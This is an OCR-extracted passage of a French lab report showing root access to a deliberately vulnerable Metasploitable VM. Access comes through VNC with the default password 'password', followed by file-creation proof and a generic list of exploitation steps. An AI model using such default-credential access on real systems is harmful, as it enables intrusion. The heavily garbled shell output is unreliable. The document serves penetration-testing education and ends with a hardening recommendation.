pass « password » pour accéder au serveur

/home/bouchlaghem
VNC er -shared 10.10.10.11:5900
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:o)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue @
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue @
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File Actions Edit View Help

[l TightVNC: root's X desktop (metasploitable:0)

B? root@metasploitable: /

root@metasploitables/# ls

bin dev initrd lost+found nohup,out root st var

boot etc media opt shin ﬁ
home lib mnt proc srvy  usr

root@netasploitables/# I

Efworkspace 1 22 Dec, Thu 15:00:53 E'FY root@metasploitable:

Une simple commande « [s » nous montre que nous sommes dans la machine
virtuel Metaxploit.

root@metasploitable: -t 1=
nohup.out

initrd. ing umlinuz

cdrom
root@metasploitable: -t _

Et pour nous assurer que nous avons tous les droits pour exécuter n'importe
quelle commande dans la cible a distance, nous avons créé un nouveau fichier
nommé « hacked.txt » avec un message dessus. « hello from the other side »

root@metasploitable:/# echo hello from the other side > hacked,txt |
rootEmetaszploitable: # 1=

hin dey home: lib mnt proc SrY  usr
boot etc initrd lost+fouwd nohup,out  root var
nedia ot svin 8

rootimetasploitable: # cat hacked,txt
hello from the other side
root@metazploitable: /# ||

Comme nous pouvons le voir sur la machine cible, le fichier a été créé avec
succes.

rootBmetasploitable:/# ls

nohup.out

cdrom | hacked.txt| initrd.img uvmlinuz
rootPmetasploitable: /i
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' root@metasploitable: /

BEY 0 druxr-xr-x 13 root root 13820 Dec 22 18:44 dev
129265 4 drwxr—xr—x 94 root poot 4096 Jec 22 18:44 etc
24611 4 -rw-r--r—— 1 root root 26 Tlec 22 18:53 hacked, txt

.DgmERiaghem.com

114689 4 druxr—xr-x b root root 4096 Apr 16 20100 home
163841 4 drwxr—xr-x 2 root root 4096 Mar 16 2010 inited
24584 0 lrwxrwerwx 1 root oot 32 Apr 29 2010 - boot/initrd,
img-2,6,24-16-server
294913 4 drwxr-xr-x 13 root root 4096 May 13 2012 lib
11 16 drwx—————- 2 root root 16384 Mar 16 2010 lost+Fourd
442369 4 drwxr-xr-x 4 root root 4096 Mar 16 2010 media
93305 4 drwxr-xr-x 3 root root 4098 Apr 28 2010 mnt
24583 12 -ru————- 1 root root 8705 Dec 22 18:45 nohup.out
286721 4 druxr-xr-x 2 root root 4096 Mar 16 2010 opt

1 O dr—xr—xr-x 110 root root 0 Dec 22 18:44 proc
24578 4 druwxr-xr-x 13 root root 4096 Dec 22 18:45 root
2193 4 druxr-xr-x 2 root root 4096 Hay 13 2012 shin
106497 4 drwxr-xr-x 2 root poot 4096 Mar 16 2010 sre
1 0 druxr—xr—x 12 root root 0 Dec 22 18+:44
245761 4 drwxrwxrwt 4 root poot 4096 Dec 22 18:40
344065 4 drwxr-xr-x 12 root root 4096 Apr 23 2010 use
49153 4 drwgr-xr-x 14 root root 4096 Mar 17 2010 var
24577 0 lrwerwerwx 1 root root 29 Apr 28 2010
6., 24-16—zerver
root@metazploitable: 4 ]

-» bootAuml inuz-2,

24583
567
139265
24611
114689
163841
24584
trd.img-
£94913
11 1
442369
98305
24589
286721
1
24578
8193
106497
1
245761
344065
49153
24577

Lol e A R RN BT S o e Y s e ]

lruxruxrux
druxr—xr—x
druxr—xr—x
-ru-r——r—-—
druxr—xr—x
druxr—xr—x
lruxruxrux

.b.24-16-server

druxr-xr-x 13

druxr—-xr—x
druxr—-xr—-x

druxr—-xr-x
dr—-xr—-xr—-x
druxr—-xr-x
druxr—xr—x
druxr-xr-x
druxr—xr—x
druxruxrut
druxr—xr—x
druxr—xr—x
lruxruxrux

z-2.6.24-16-server
root@Pmnetasploitable: #
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£010-04-28
2022-12-22
2022-12-22
2022-12-22
£010-04-16
£010-03-16
£010-04-28

£012-05-13
Z010-03-16
£010-03-16
Z010-04-28
2022-12-22
Z010-03-16
2022-12-22
Z022-12-22
£012-05-13
Z010-03-16
2022-12-22
Z022-12-22
£010-04-28
Z010-03-17
£010-04-28

19

cdrom -3

hacked.txt

initrd.img —-> bootrsini

nohup.out

umlinuz -* boot-svmlinu
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3 QUESTION BONUS :

* Pour optimiser nos chances de succes pendant l'attaque il faut qu'ont
suit ces étapes:

1. Identifiez la vulnérabilité : Ont identifient les vulnérabilités qui existent dans le
systeme cible a l'aide de diverses techniques comprennent lempreinte et la
reconnaissance, l'analyse, le dénombrement et l'analyse des vulnérabilités. Apres avoir
identifié les logiciels libres utilisés et les services vulnérables exécutés sur le systeme
cible, ont utilisent également divers sites d'exploitation en ligne tels que Exploit
Database (https://www.exploit-db.com) et Packet Storm
(https://packetstormsecurity.com) pour détecter les vulnérabilités du systeme
d'exploitation et des applications sous-jacents.

2. Déterminer lerisque associé a la vulnérabilité : Apres avoir identifié une vulnérabilité,
ont déterminent le risque associé a la vulnérabilité, c'est-a-dire si 'exploitation de
cette vulnérabilité soutient les mesures de sécurité sur le systeme cible.

3. Déterminer la capacité de la vulnérabilité : Si le risque est LOW, nous pouvons
déterminer la capacité d'exploiter cette vulnérabilité pour accéder a distance au
systeme cible.

4, Développer lU'exploit: Apres avoir déterminé la capacité de la vulnérabilité, nous
pouvons utiliser des exploits de sites d'exploitation en ligne tels que Exploit Database
(https://www.exploit-db.com), ou ont développent notre propres exploits a l'aide
d'outils d'exploitation tels que Metasploit.

5. Sélectionnez la méthode de livraison - locale ou distante : Ont effectuent une
exploitation a distance sur un réseau pour exploiter la vulnérabilité existante dans le
systeme distant afin d'obtenir un acces shell comme notre cas. Si ont a un acces
préalable au systeme, ont effectuent une exploitation locale pour augmenter les
privileges ou exécuter des applications dans le systeme cible.

6. Générer et livrer la charge utile : Dans le cadre de l'exploitation, génerent ou
sélectionnent des charges utiles malveillantes a l'aide d'outils tels que Metasploit et
les transmettent au systeme distant en utilisant l'ingénierie sociale ou via un réseau.
Ont injectent du shellcode malveillant dans les charges utiles qui, une fois exécuté,
établit un shell distant vers le systeme cible.

7. Obtenir un acces a distance : Apreés avoir généré la « payload » , ont exécutent l'exploit

pour obtenir un acces shell distant au systeme cible. Désormais, ont peuvent exécuter
diverses commandes malveillantes sur le shell distant et contréler le systeme.

*  Ont recommandent au propriétaire de la VM de sécuriser le service VNC avec un mot de

passe fort et mettre a jour le serveur VNC vers la derniére version VNC-6.22.826-Linux-
x64.
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